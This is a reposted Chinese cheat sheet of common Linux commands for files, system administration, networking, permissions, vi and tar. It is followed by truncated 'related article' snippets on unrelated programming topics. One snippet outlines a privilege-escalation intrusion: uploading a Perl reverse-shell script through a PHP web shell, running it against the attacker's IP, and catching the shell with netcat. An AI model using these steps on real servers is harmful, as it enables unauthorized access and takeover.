Linux下常见命令

=============安装和登陆命令========================================

Mount:挂载命令。把存储介质指定成系统中的某个目录,比如挂载光驱mount /dev/cdrom把CDROM挂载,可在目录/mnt/cdrom下查看内容。

umount:卸载命令,比如umount /dev/cdrom
exit:退出终端命令。

shutdown:关闭linux系统,后面可加参数,比如shut down now。

reboot:重新启动linux

halt:挂起系统,但没有关机。

chsh:改变登入系统的shell。

tty:显示终端机连接标准输入设备的文件名称。
=============文件处理命令========================================

ls:显示当前目录内容。加参数路径可以显示指定目录内容,/特定指根目录;加-l显示目录下文件的详细信息诸如权限,加-all显示最详细信息。加|more可分屏显示目录文件信息,enter跟进,shift+page up/down翻页。

find:查找文件。格式为:find . -name "*.java" 或者find . -name \*.java,其中.表示当前目录,-name表示以名字查找,*即是通配符。

rm:删除目录或者文件。加参数-rf强制递归删除一个非空目录。比如说递归删除当前文件下的目标文件,用:

            find . -name *.o -type f -exec rm -f {} \;

cd:进入某个目录。加参数表示路径,/表示linux根目录;cd ~返回home下的用户目录;cd ..返回上层目录。

cp:拷贝命令。加参数表示待拷贝文件和目标目录。cp 1.txt usr/local/arm拷贝当前目录下的1.txt文件到目标目录。

./:执行当前目录应用程序,后跟应用程序名做参数。

Cat: 查看一个文件的内容,后面直接接文件名;如果文件内容较长在屏幕上一滚而过,可执行cat 文件名|less来查看,上下键来移动。还可以查看LINUX内 核版本,用cat /proc/version;查看内存信息,用cat /proc/meminfo;查看声卡信息,用cat /proc/asound/cards。还有个功能就是重定向,比如cat >文件名,就是将cat的输出重定向到>后面的文件中,并会覆盖文件;如果理解成广义重定向,cat **.wav >/dev/snd/dsp,或者cat **.wav > /dev/snd/audio,播放音频文件使能;cat /proc/asound/oss/sndstat查看oss配置信息;cat /proc/asound/version查看alsa版本。也可查看中断分配信息:cat /proc/interrupts.

more:类似cat ,不过会以一页一页的显示方便使用者逐页阅读,而最基本的指令就是按空白键(space)就往下一页显示,按b键就会往回(back)一页显示。

Mkdir:创建目录命令。如mkdir dirname,当前目录下创建由dirname命名的目录,或者创建已有目录路径下的下一级目录,不能一次创建多层目录。

diff:功能为逐行比较两个文本文件,列出其不同之处以怎样达到一致。比如:diff file1 file2,得到n1,n2 c n3,n4。其中n1n2是指第一个文件若干行,n3n4是指第二个文件若干行。中间的字母a指添加,d指删除,c指修改。

make menuconfig:图形界面配置系统内核参数。

mv:移动或者重命名文件或目录。mv name1 ppp,重命名name1为ppp;mv name1 /usr/ 将文件移动至目标目录下。

apt-get:用于自动查找安装软件,更新软件,一般需要root权限。所以格式是sudo apt-get install(安装),sudo apt-get remove(卸载),sudo apt-get upgrade(升级)

fgrep:全局查找命令,比如特定的文本字符串,以在特定的目录下的所有文本中查找特定的字符串文本:fgrep "Unable to install hw params" external/alsa-lib/* -r。与grep功能相似。

|:管道命令,通常是把管道左边命令的输出再当作管道右边的命令输入。

head:查看文件的前几行,比如查看文件的前五行head -5 /etc/passwd。

tail:查看文件的后几行,比如查看文件的后十行tail -10 /etc/passwd。

alsa_aplay:播放测试声音命令,alsa_aplay xxx.wav。

alsa_amixer:混音器信息和命令。

alsa_alsactl :ALSA控制。

arecord:加-l参数列出当前数字音频设备,加-L列出当前PCM设备。arecord -D 设备名 xxx.wav可录音。

=============系统管理命令========================================

Pwd:显示完整的当前工作目录。

Source:通常用于重新执行刚修改的初始化文件,使之立即生效,而不必注销并重新登录,比如修改玩环境变量配置后,运行source ~/.bashrc。

ls dev:显示系统设备。

df:显示当前系统磁盘使用状况。

top:显示资源状况,类似于XP的资源管理器。

free:显示系统内存使用状况。

at:在某个约定的时间执行特定操作。

adduser:在home目录下添加一个用户。

useradd:跟adduser是一个东西。

groupadd:建立一个新群组。

unzip:解压缩zip文件。

gzip:将文件压缩成.gz文件。

gunzip:解压缩.gz文件。

last:列出过去与目前登入系统的用户相关信息。

lspci :用lspci -v查看硬件芯片组。

lsusb:显示系统USB总线设备信息。

lsmod:显示系统已经加载的模块信息。

uname:查看系统软硬件信息。用uname -r -m -p -i得到内核版本和处理器架构等信息。

insmod:加载模块,Linux有许多功能是通过模块的方式,在需要时才载入kernel。

rmmod:卸载模块。

rpm:它的功能类似于Windows里面的“添加/删除程序”,被广泛应用于在Linux下安装、删除软件。如:rpm -q modutils,查询系统中有没有modutils软件包。

df:硬盘空间使用状况,及挂载信息。

mplayer:利用该工具包调试和使用声音。mplayer xxx.wav,会播放音频文件,显示当前音频所用设备。当然,也可以指定用OSS或者ALSA来播放,如:mplayer -ao alsa xxx.wav,用alsa音频组件来播放。

fdisk:是显示磁盘挂载和分配信息,比如sudo fdisk -l,显示挂载点、用途。如果是IDE硬盘,设备名依次为:/dev/hda,/dev/hdb,/dev/hdc,/dev/hdd等;如果是SCSI 硬盘,则设备名依次为/dev/sda,/dev/sdb。

dmesg:打印内核信息,有些打印语句是输出到内核而非终端。

lsof:显示打开文件的所有进程等。比如lsof abc.txt 显示开启文件abc.txt的进程
=============网络操作命令========================================

service network restart:配置好网络服务后,重启。

ip:就是整合了 ifconfig 与 route 这两个指令。

ping:功能与XP一样。如果要其停下来,用ctrl+c。

netstat:netstat命令的功能是显示网络连接、路由表和网络接口信息,可以让用户得知目前都有哪些网络连接正在运作。

telnet:开启终端机阶段作业,并登入远端主机。

rlogin:remote login,开启终端机阶段作业,并登入远端主机。

ftp:登录ftp服务器。

route:显示当前系统路由表信息。

finger:显示系统中某个用户的用户名、主目录、停滞时间、登录时间、登录shell等信息。

mail:邮件信息。

w3m:终端登入文字版浏览器。

=============系统安全命令========================================

passwd:修改密码。

su:作用是变更为其它使用者的身份,超级用户除外,需要键入该使用者的密码。

umask:确定了你创建文件的缺省模式。这一命令实际上和chmod命令正好相反。如:umask 777。

sudo:是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等等。这样不仅减少了root用户的登陆和管理时间,同样也提高了安全性。

chmod:改变文件权限。比如chmod 777 cc,设置cc权限为777。第一位是文件所有者权限,第二位是群组权限,第三位是其它人权限。每位的权限值是读权限(4)与写权限(2)与执行权限(1)之和。

chown:改变与文件关联的所有者和组。如chown jim program.c,即program.c的用户访问权限现在应用到jim;chown -R john:build /tmp/src,将src目录下面所有文件关联到用户john,组build。

=============VI编辑器命令========================================

vi编辑器操作:
    退出:按esc,按shift+:,q。其中,q!强制退出,wq保存后退出。
    编辑:按i进入编辑状态。
    查找:按esc退出编辑模式,执行“/单词”就可以查找要找的字符串,按N查找下一个。
    复制:按esc退出编辑模式,要复制当前行,按YY,跳转光标到目标行;要复制多行,输入行数再按YY,跳转光标到起始行。
    粘贴:复制后跳转光标到目标位置,按P。

=============压缩与解压缩命令========================================

tar:解压命令。

    .tar.gz
        解压:tar zxvf FileName.tar.gz

        压缩:tar zcvf FileName.tar.gz DirName 把DirName的内容压缩成以FileName命名的压缩文档。

    .tar.bz2
        解压:tar jxvf FileName.tar.bz2

        压缩:tar jcvf FileName.tar.bz2 DirName

    .tar

        解压:tar xvf FileName.tar

        打包:tar cvf FileName.tar DirName 该命令起不了压缩作用

转载于:https://www.cnblogs.com/Gaojiecai/archive/2011/11/03/2234888.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/261173.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

axure 鼠标样式,Axure8-动态面板+简单鼠标事件实现单页面应用

随着互联网的发展,各种网站技术以及网站的呈现技术层出不穷,网站的页面展现已经从之前的页面间跳转到现在大行其道的单页面应用,页面内容的切换不再需要进行页面的跳转了,使用起来更加舒适。功能在变化,技术在变迁&…

Visual Studio 内存泄漏检测方法

Visual Studio 内存泄漏检测方法非MFC程序可以用以下方法检测内存泄露:1.程序开始包含如下定义:#ifdef _DEBUG#define DEBUG_CLIENTBLOCK new( _CLIENT_BLOCK, __FILE__, __LINE__)#else#define DEBUG_CLIENTBLOCK#endif // _DEBUG#define _CRTDBG_MAP_A…

javaweb下载文件

//读取文件->写出文件 public static void main(String[] args) { InputStream in null; OutputStream out null; try{ File file new File("c:\\123.doc"); in new FileInputStream(file); out new FileOutputStream("c:\\666.doc"); int len 0; …

mysql如果数据不存在,则插入新数据,否则更新

//如果不存在,则插入新数据$sql "INSERT INTO {$ecs->table(‘cat_lang’)} (cat_id,lang_id,cat_name,keywords,cat_desc) VALUES({$cat_id},{$k},’{$val[cat_name]}’,{$val[keywords]}’,{$val[cat_desc]}’)ON DUPLICATE KEY UPDATE cat_name’{$val[…

Saltstack grains组件

grains是Saltstack最重要的组件之一,grains的作用是收集被控主机的基本信息,这些信息通常都是一些静态的数据,包括CPU、内核、操作系统、虚拟化等,在服务器端可以根据这些信息进行灵活定制,管理员可以利用这新信息对不…

android开发相关资料整理【2011-11-10】

常用的Android指令和模拟器参数如何在windows下不用Eclipse,用dos命令启动emulator呢???Android中的Task相关问题: Flag和LaunchMode同时起作用时的情况Service与ContentProvide的多实例与多线程问题avtivity之间的跳转…

php监听mq消息,客户端监听服务端获取rabbitmq消息队列,rabbitmq有消息的时候客户端刷新页面才能获取到消息,监听没起到作用,请求各位大神指点迷津...

header("Content-Type:text/html;charsetutf-8");use Workerman\Worker;require_once __DIR__ . /Autoloader.php;// 注意:这里与上个例子不同,使用的是websocket协议$ws_worker new Worker("websocket://192.168.1.218:5556");// …

c3p0配置

2019独角兽企业重金招聘Python工程师标准>>> <?xml version"1.0" encoding"utf-8"?> <c3p0-config> <named-config name"mysql"> <property name"user">root</property> …

The connection to adb is down

The connection to adb is down 有一周时间没有打开ADT了&#xff0c;最近想为我的APP增加下些新的功能&#xff0c;但是在编译的时候出现了一个奇怪问题 [2013-10-18 14:43:50 - zzbus] Android Launch![2013-10-18 14:43:50 - zzbus] The connection to adb is down, and a s…

linux溢出提权

先在网站目录上传1.pl,是个反弹脚本 Phpshell执行chmod x 1.pl&#xff0c;给1.pl执行权限&#xff0c;图0 然后执行 ./1.pl 本机IP 1224接着本机监听nc -vv -l -p 1224&#xff0c;图1 反弹成功 输入id bash-3.2$ id uid529(zeicom) gid525(zeicom) groups525(zeicom) bash-3.…

php 抽象类、接口和构析方法

<?php/*class Ren {public static $color;static function Show(){Car::$name;self::$color;} }class Car {public static $name; }*///抽象类 /*abstract class DongWu {public $dong;public $jiao;function Chi(){}function Shui(){} }*///接口关键字&#xff1a;interfa…

java的枚举

package com.wzh.test.enum0;import org.junit.Test;public class demo1 {Testpublic void testAb(){System.out.println(Ab.a.getValue());}//如果定义枚举的构造函数&#xff0c;方法和字段&#xff0c;去封装更多的信息enum Ab{a("100-90"),b("89-80"),…

matlab元胞矩阵赋值,matlab!怎么根据条件直接修改元胞数组中的矩阵

matlab&#xff01;怎么根据条件直接修改元胞数组中的矩阵mip版 关注:264 答案:2 悬赏:70解决时间 2021-01-28 07:03已解决2021-01-28 03:35我想实现这样的一个功能一个256*256的元胞数组Cel&#xff0c;每个元胞数组中都有一个15*4的矩阵Arr有15对256*256的矩阵a,b,c,d(分别…

动态反射——Load,LoadFrom和LoadFile

【问】 假设有一个类库文件LibraryA&#xff0c;其中有一个ClassA&#xff0c;该类的AssemblyName为“LibraryA”&#xff08;编译后的文件是LibraryA.dll&#xff09;。另外有一个LibraryB.dll类库文件&#xff0c;其中AssemblyName和其命名空间一样&#xff0c;并且其引用Lib…

《将博客搬至CSDN》

《将博客搬至CSDN》链接为&#xff1a;http://blog.csdn.net/scenlyf/转载于:https://blog.51cto.com/luoyafei/1787233

12306订票助手更新

由于时间关系&#xff0c;以及做了较大变更&#xff0c;订票助手已经很久发布更新了。但是订票助手我还是会一直维护下去&#xff0c;直到……你懂的。 这个版本比以前有较大变化&#xff0c;还存在许多已知和未知的问题&#xff0c;只建议喜欢尝鲜的朋友使用&#xff1a; 不再…

各种Exit退出函数用法

在VBScript中经常会遇到在执行到某个代码块时需要直接跳出的过程。 其实在Vbs语法中常用的有4种退出方式&#xff1a;Exit For、Exit Do、Exit Function、Exit Sub 1、Exit For 主要是用于for循环中 for i1 to 100 if i4 then msgbox "exit for" Exit For End If Ne…

oracle一个表拆成多个表,oracle – 在oracle表中将多个以逗号分隔的值拆分为多行...

接受的答案使用条件DBMS_RANDOM.VALUE IS NOT NULL这是不合适的。 它只是防止循环&#xff0c;但是一个简单的问题会出现&#xff0c; 如何和何时dbms_random.VALUE可以为空&#xff1f; 从逻辑上讲&#xff0c;它永远不会是NULL 。更合适的解决scheme是使用sys.odciNumberList…

python 正则表达式过滤文本中的html标签 源代码解析

#py2.7 #coding:utf-8import re import os import chardetdef filter_tag(htmlstr):re_cdata re.compile(<!DOCTYPE HTML PUBLIC[^>]*>, re.I)re_script re.compile(<\s*script[^>]*>[^<]*<\s*/\s*script\s*>, re.I) #过滤脚本re_style re.compi…

C++--Qt使用Http协议

2019独角兽企业重金招聘Python工程师标准>>> #include <QNetworkAccessManager>//包含QNetworkAccessManager类 #include <QNetworkRequest>//包含QNetworkRequest类 #include <QNetworkReply>//包含QNetworkReply类 #include <QtCore> #in…